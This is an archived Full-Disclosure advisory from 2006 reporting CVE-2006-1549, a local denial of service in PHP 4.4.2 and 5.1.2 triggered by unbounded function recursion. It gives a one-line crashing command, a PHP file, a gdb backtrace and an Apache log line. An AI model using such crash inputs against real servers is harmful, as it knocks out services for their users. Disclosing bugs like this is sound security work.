full-disclosure - function *() php/apache Crash PHP 4.4.2 and 5.1.2

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <200604082140.03145.max@jestsuper.pl>
Date: Sun Apr  9 02:20:58 2006
From: max at jestsuper.pl (Maksymilian Arciemowicz)
Subject: function *() php/apache Crash PHP 4.4.2 and 5.1.2

Source: http://securityreason.com/achievement_securityalert/35

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[function *() php/apache Crash PHP 4.4.2 and 5.1.2]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 21.3.2006
- -Public: 8.4.2006
from SECURITYREASON.COM
CVE-2006-1549

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed 
from C, Java and Perl with a couple of unique PHP-specific features thrown 
in. The goal of the language is to allow web developers to write dynamically 
generated pages quickly.

A nice introduction to PHP by Stig S?ther Bakken can be found at 
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the 
PHP Conference Material is freely available. 

- --- 1. function *() Crash ---
PHP4/5 is vulnerability to a local denial-of-service. General problem is in 
allocated data to memory. 

for example attack:

cxib# php -r 'function cx(){ cx(); } cx();'
Segmentation fault (core dumped)
cxib# 

Segfault.. let`s see what we have in gdb

- ---
cxib# cat /www/functionsegfault.php
<?
function cx(){
        cx();
} 
cx();
?>
cxib# gdb -q php
(gdb) r '/www/functionsegfault.php'
Starting program: /usr/local/bin/php '/www/functionsegfault.php'

Program received signal SIGSEGV, Segmentation fault.
0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260, 
    __zend_filename=0x811d8c0 
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c", 
__zend_lineno=1568)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
111     /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c: No such 
file or directory.
        in /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c
(gdb) bt
#0  0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260, 
    __zend_filename=0x811d8c0 
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c", 
__zend_lineno=1568)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
#1  0x080f042a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1568
#2  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#3  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#4  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#5  0x080f019a in execute (op_array=0x81b3880)
...
- ---

or in apache error_log

[Mon Mar 20 12:12:54 2006] [notice] child pid 744 exit signal Illegal 
instruction (4)

- --- 2. Greets ---

For: sp3x
and
p_e_a, pi3, eax, Infospec ;]

- --- 3. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (FreeBSD)

iD8DBQFEOAT43Ke13X/fTO4RAiFnAKC+vzJm1w24b4VN9CMdhE6e6a2L4QCePbp7
lNzhZke21IHXM0TvvjntXyY=
=Y7Ft
-----END PGP SIGNATURE-----